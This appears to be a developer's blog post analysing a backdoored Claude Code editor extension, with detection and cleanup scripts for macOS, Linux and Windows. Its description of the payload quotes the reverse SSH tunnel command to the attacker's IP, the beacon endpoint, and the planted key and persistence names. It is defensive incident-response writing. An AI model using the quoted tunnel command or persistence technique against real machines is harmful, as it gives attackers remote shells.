Developer tooling

Claude Code extension 2.1.313 backdoor: how the SSH trojan works, and how to check and clean your machine

Claude Code extension 2.1.313 planted an SSH key and a reverse tunnel on developer machines. How it works, who was exposed, and how to check and clean up.

Kemo
10 min read
A door standing ajar in a pitch-dark room, with warm light spilling through the gap onto the floor.
On this page
  1. What happened to the Claude Code extension?
  2. How the backdoor works, from editor update to reverse SSH tunnel
  3. Was my machine actually exposed?
  4. How to check a Mac or Linux machine for the svc-telemetry backdoor
  5. How to check Windows for the SysMon task and the attacker key
  6. How to remove it, and why uninstalling the extension is not enough
  7. What this changes about trusting editor extensions
  8. Questions people ask about the Claude Code extension backdoor
  9. Sources and further reading

On 29 October 2026 a trojanised build of Anthropic's Claude Code extension, version 2.1.313, was served to editors as an ordinary update. On load it added an attacker's key to ~/.ssh/authorized_keys, installed a start-up job, and tried to open a reverse SSH tunnel to a server at 134.209.82.225. Cursor says at most 5,000 of its users received it during a window of roughly eleven hours, and that the build "was not developed by Anthropic".

This article explains what the backdoor does step by step, which installs were exposed, why uninstalling the extension is not enough, and how to check and clean a macOS, Linux or Windows machine. It is for anyone who runs Claude Code inside Cursor, VS Code or another VS Code–compatible editor, and for the people who look after their laptops.

Extensionanthropic.claude-code (Claude Code for VS Code)
Bad versions2.1.313; Cursor's updated notice also lists 2.1.312 (Cursor)
Exposure window29 October, about 02:27 to 13:35 PT (09:27 to 20:35 UTC) (StepSecurity)
Confirmed channelCursor's extension marketplace (OpenSourceMalware)
Users reachedAt most 5,000, per Cursor
Clean version2.1.314, published 30 October (The Hacker News)
How it was publishedNot yet explained by Anthropic or Cursor
The Claude Code extension compromise at a glance, as reported by 31 October 2026

What happened to the Claude Code extension?

A modified copy of the extension's main bundle, extension.js, was published under the real anthropic.claude-code identifier, so editors with automatic updates installed it without any prompt. OpenSourceMalware counted a 66-line loader prepended to the legitimate code; StepSecurity measured the bad bundle at 3,692,922 bytes, about 7 KB larger than the clean release before it.

Which marketplace served it was confused in the first hours. Early write-ups from Phorion and StepSecurity pointed at Open VSX, the registry used by Cursor, VSCodium and Windsurf. Cursor then told OpenSourceMalware that the extension in its own marketplace "experienced some form of compromise", and The Hacker News corrected its report to say the Open VSX claim was traced back to Cursor's marketplace. Cursor took its whole marketplace offline, removed the version, audited the other extensions, rotated keys and rebuilt it, according to its security notice. Anthropic pulled 2.1.313 from the other channels as a precaution and shipped 2.1.314.

Nobody has yet said how the attacker got a build published under Anthropic's name. The Hacker News thread that put the story on the front page with more than 500 points is full of that question, and it is the one that matters most for the next incident. Until there is a post-mortem, treat the publishing path as unknown.

How the backdoor works, from editor update to reverse SSH tunnel

The loader runs when the editor's extension host loads extension.js, before the extension's own activate function, so opening the editor was enough; nobody had to start a Claude session. It uses only Node's built-in child_process, fs, os, http and crypto modules and declares no install scripts, which is why package-manager hooks and lockfile scanners never saw it (Phorion, OpenSourceMalware).

Developer machineCursor marketplace2.1.313Editor auto-updateextension.js loaderruns on load~/.ssh/authorized_keyssvc-telemetry keyStart-up jobLaunchAgent, cron, SysMon134.209.82.225:22 tunnel, :8099 beaconupdateappend keyinstallssh -R*:0:localhost:22HTTP POST/beacon
  • Cursor marketplace → Editor auto-update: update
  • Editor auto-update → extension.js loader
  • extension.js loader → ~/.ssh/authorized_keys: append key
  • extension.js loader → Start-up job: install
  • Start-up job → 134.209.82.225: ssh -R *:0:localhost:22
  • extension.js loader → 134.209.82.225: HTTP POST /beacon
The loader runs inside the editor's extension host, plants an SSH key and a start-up job, then keeps a reverse tunnel open so the attacker can reach the machine's own SSH server.

The payload does four things, in this order:

  1. Plants a login key. It creates ~/.ssh if needed, fixes its permissions and appends an Ed25519 public key with the comment svc-telemetry to authorized_keys.
  2. Tries to turn on SSH. On Linux it starts sshd through systemctl or service; on macOS it runs sudo -n systemsetup -setremotelogin on; on Windows it installs and starts OpenSSH Server through PowerShell.
  3. Opens a reverse tunnel. It writes a second private key to a hidden .stk_* file in the temp directory and runs ssh -N -R '*:0:localhost:22' tunnel@134.209.82.225 (or autossh when present) in a loop that retries every 60 seconds, so the attacker's server gets a port that leads straight to your SSH daemon.
  4. Reports home. One plain-HTTP JSON POST to 134.209.82.225:8099/beacon carries the hostname, user name, OS, architecture, home and working directories, global Git e-mail, public IP and the names of up to 40 environment variables matching KEY, TOKEN, SECRET, PASS, AWS or GCP. Values are not sent.

Persistence differs by platform: a user LaunchAgent named com.apple.sysmond on macOS, an @reboot crontab line on Linux, and a scheduled task called SysMon running as SYSTEM on Windows, with a sysmon.cmd in the Startup folder as the fallback. Each runs a small script kept in ~/.config/.smt (or smt.cmd on Windows) next to the tunnel key in .smtk (Phorion).

The extension was only the delivery van; what it leaves behind keeps running after you uninstall it.

Was my machine actually exposed?

Probably only if your editor installed 2.1.312 or 2.1.313 from Cursor's marketplace during the window on 29 October. Cursor's notice names Windows and macOS builds; the analysed samples were darwin-arm64 and win32-x64 (StepSecurity). Installs from the Microsoft Visual Studio Marketplace, the @anthropic-ai/claude-code npm package and Open VSX are not known to have carried the malicious code, per OpenSourceMalware and The Hacker News.

Being exposed is not the same as being reachable. The tunnel forwards to port 22 on your own machine, so it only gives the attacker a shell if an SSH server is listening there. On macOS, Remote Login is off by default and the loader's attempt to switch it on usually fails: systemsetup -getremotelogin without admin rights prints an error and exits 0, the loader's /Off/i check never matches, and the enable step is skipped (Phorion). Cursor says enabling SSH generally needs administrator rights the extension does not have on most macOS and Windows hosts (Cursor).

The risky cases are the machines where sshd was already running: Linux workstations, Macs with Remote Login switched on for remote development, and Windows hosts where OpenSSH Server was already installed. There, a live tunnel plus the planted key is a working remote login, and from then on everything the user can read is in play.

How to check a Mac or Linux machine for the svc-telemetry backdoor

The fastest test is the planted key: grep svc-telemetry ~/.ssh/authorized_keys. The script below checks every indicator the published analyses agree on, including the start-up job, the tunnel process and any backdoored bundle still sitting in an editor's extensions folder. It only reads; it changes nothing, and it exits non-zero if it finds anything so you can run it from a fleet tool.

check-claude-ext.shShell
#!/bin/sh# Looks for the Claude Code 2.1.313 backdoor on macOS or Linux. Read-only: it changes nothing.found=0hit() { echo "FOUND: $1"; found=1; } grep -q 'svc-telemetry' "$HOME/.ssh/authorized_keys" 2>/dev/null && hit "svc-telemetry key in ~/.ssh/authorized_keys"for f in "$HOME/.config/.smt" "$HOME/.config/.smtk" "$HOME/Library/LaunchAgents/com.apple.sysmond.plist" \         "${TMPDIR:-/tmp}"/.stk_* /tmp/.stk_*; do  [ -e "$f" ] && hit "$f"donecrontab -l 2>/dev/null | grep -q '\.smt' && hit "@reboot entry for .smt in crontab"launchctl list 2>/dev/null | grep -q 'com.apple.sysmond' && hit "LaunchAgent com.apple.sysmond is loaded"pgrep -f 'ssh.*-R.*[l]ocalhost:22' >/dev/null 2>&1 && hit "reverse SSH tunnel process (see: pgrep -fl ssh)"for d in "$HOME/.cursor/extensions" "$HOME/.vscode/extensions" "$HOME/.windsurf/extensions" "$HOME/.vscode-oss/extensions"; do  [ -d "$d" ] || continue  for f in $(grep -rl --include=extension.js -e '134.209.82.225' -e 'svc-telemetry' "$d" 2>/dev/null); do    hit "backdoored bundle $f"  donedone [ "$found" -eq 0 ] && echo "No indicators of the 2.1.313 backdoor found for $(id -un)"exit "$found"
A clean Linux host, then a test home seeded with the key and persistence filesShell
$ sh check-claude-ext.shNo indicators of the 2.1.313 backdoor found for root$ HOME=/tmp/infected-test sh check-claude-ext.shFOUND: svc-telemetry key in ~/.ssh/authorized_keysFOUND: /tmp/infected-test/.config/.smtFOUND: /tmp/infected-test/.config/.smtk

The pattern [l]ocalhost stops pgrep from matching the shell you typed it into, a false positive that is easy to miss when you write the check inline.

How to check Windows for the SysMon task and the attacker key

On Windows the indicators are the key in your profile's authorized_keys, the SysMon scheduled task, the Startup-folder fallback and the script in .config. Run this in PowerShell; the capability query at the end needs an elevated prompt (Cursor, StepSecurity).

check-claude-ext.ps1Text
Select-String -Path "$env:USERPROFILE\.ssh\authorized_keys" -Pattern 'svc-telemetry' -ErrorAction SilentlyContinueGet-ScheduledTask -TaskName 'SysMon' -ErrorAction SilentlyContinue | Format-List TaskName, State, PrincipalTest-Path "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\sysmon.cmd"Test-Path "$env:USERPROFILE\.config\smt.cmd"Get-CimInstance Win32_Process -Filter "Name='ssh.exe'" | Where-Object CommandLine -match 'localhost:22' | Select-Object ProcessId, CommandLineGet-WindowsCapability -Online -Name 'OpenSSH.Server*' | Select-Object Name, State   # elevated prompt

Any True, any SysMon task or any matching ssh.exe line means the payload ran. An OpenSSH Server state of Installed on a machine where nobody installed it is a strong sign it also got that far.

How to remove it, and why uninstalling the extension is not enough

The extension only delivered the payload. The key, the start-up job and the tunnel loop live outside the extension folder, so removing or updating the extension leaves them in place. Clean up in this order, so the tunnel cannot come back while you work.

  1. Preserve evidence, then cut the network path

    If the check found anything, copy authorized_keys, the .smt files, the LaunchAgent plist or task definition and your SSH logs somewhere safe first. Then block 134.209.82.225 on ports 22 and 8099 at the host or network firewall. Cursor says the server is offline, but a block costs nothing.

  2. Stop the tunnel and remove persistence

    remove-persistence.shShell
    # macOSlaunchctl unload ~/Library/LaunchAgents/com.apple.sysmond.plist 2>/dev/nullrm -f ~/Library/LaunchAgents/com.apple.sysmond.plist# Linux: remove the @reboot line that runs .smt (check the result: a bug in the loader can wipe other cron jobs)crontab -l | grep -v '\.smt' | crontab -# both: stop the retry loop and the tunnel, then delete the filespkill -f '\.config/\.smt'pkill -f 'ssh.*-R.*[l]ocalhost:22'rm -f ~/.config/.smt ~/.config/.smtk "${TMPDIR:-/tmp}"/.stk_* /tmp/.stk_*

    On Windows, run Unregister-ScheduledTask -TaskName SysMon -Confirm:$false from an elevated prompt and delete sysmon.cmd, smt.cmd and smtk. Cursor publishes remediate-macos.sh, to run as the affected user, and remediate-windows.ps1, to run as Administrator; read them before running them.

  3. Remove the key and update the extension

    remove-key-and-update.shShell
    # macOS uses BSD sed: -i '' ; on Linux drop the ''sed -i '' '/svc-telemetry/d' ~/.ssh/authorized_keys# then install a clean build explicitlycursor --install-extension anthropic.claude-code@2.1.314 --force

    If Remote Login or OpenSSH Server was switched on by the payload rather than by you, switch it off again.

  4. Rotate what the account could reach

    If the tunnel ever connected while an SSH server was listening, assume the attacker had a shell as that user. Rotate, from a different and known-clean machine, the credentials that user could reach: Git hosting tokens, cloud keys, CI secrets, package-registry tokens and SSH keys. The beacon told the attacker the names of your secret-looking environment variables, which is a shopping list. StepSecurity and OpenSourceMalware both recommend rebuilding the host in that case rather than trying to prove it clean.

What this changes about trusting editor extensions

An editor extension runs with your user's full rights from the moment the editor starts. The VS Code extension runtime security page says so plainly: extensions can read and write files, make network requests and run processes. A signed, verified publisher badge tells you who the listing belongs to, not what is inside this particular build.

For AI coding assistants the stakes are higher than for a theme or a linter, because these extensions are already expected to run shell commands and touch credentials, and they update almost daily. Two habits limit the damage of the next bad build. Turn off automatic extension updates on machines that hold production credentials ("extensions.autoUpdate": false in VS Code–family settings) and update deliberately a day or so behind release, which on its own would have skipped this eleven-hour window. And alert on the behaviour rather than the name: an editor helper process writing authorized_keys, a non-Apple process creating a com.apple.* LaunchAgent, or any ssh -R from a developer laptop are all rare enough to page someone.

The one thing to remember: if 2.1.312 or 2.1.313 ever loaded on your machine, updating the extension fixed nothing. Look for the svc-telemetry key and the start-up job, remove them, and rotate whatever that user could reach.

Questions people ask about the Claude Code extension backdoor

Which Claude Code extension versions were malicious?

Version 2.1.313 of anthropic.claude-code, and Cursor's revised notice also lists 2.1.312 as served from its marketplace. Version 2.1.314, published on 30 October 2026, is the clean replacement.

Was the Claude Code CLI or the npm package affected?

No compromise of the @anthropic-ai/claude-code npm package has been reported. The malicious code was in the editor extension's extension.js bundle served through Cursor's marketplace.

I use VS Code from Microsoft's marketplace. Am I affected?

Reports so far say the malicious build was not distributed through the Visual Studio Marketplace, and Anthropic removed 2.1.313 there as a precaution. Running the svc-telemetry check takes seconds and settles it.

Does uninstalling the extension remove the backdoor?

No. The SSH key, the start-up job and the tunnel script live outside the extension folder and keep running after the extension is gone. Remove them by hand or with Cursor's remediation scripts.

Did the malware steal my API keys?

The beacon sent the names of up to 40 environment variables that look like secrets, not their values. If the reverse tunnel connected to a running SSH server, though, the attacker could log in as you and read anything you can, so rotate those credentials.

How did attackers publish a fake update under Anthropic's name?

That has not been explained yet. Cursor has said its marketplace experienced a compromise and has rotated keys and rebuilt it; a full post-mortem from Cursor or Anthropic had not been published at the time of writing.

How can I stop a bad extension update from reaching me automatically?

Set extensions.autoUpdate to false on sensitive machines, update deliberately after a short delay, and pin versions with --install-extension <id>@<version>. Endpoint rules that watch for editor processes writing to ~/.ssh catch what pinning misses.

Sources and further reading

Found this useful? Pass it on.

Written by

Kemo

Full-stack developer. Writes about Node.js backends, small infrastructure and tools that stay out of the way.

Discussion

Join the discussion

Sign in with Google, Apple or an email code to comment and reply.

One practical article a week

Follow k13 in any RSS reader. No account needed.